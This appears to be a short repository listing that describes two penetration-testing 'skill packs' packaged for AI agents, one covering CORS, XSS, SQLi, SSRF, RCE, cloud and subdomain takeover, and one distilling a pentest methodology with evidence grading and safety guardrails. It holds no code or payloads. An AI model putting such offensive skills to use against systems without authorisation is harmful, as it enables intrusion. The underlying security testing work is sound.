Recon & pentest skill pack. CORS, XSS, SQLi, SSRF, RCE, WordPress, MCP, cloud, subdomain takeover, and more. Field-tested. MIT. Full write-up at hiago.sh

1.3kGitHub stars

chu0119/pojun-skill

Pojun 方法论蒸馏成的可移植 Agent Skill：三视角协议 + 三账本证据纪律 + L1-L4 证据分级 + 四层安全护栏 + SRC 打法速查，任意 AI Agent 即装即用 | Pojun pentest methodology as a portabl…

13GitHub stars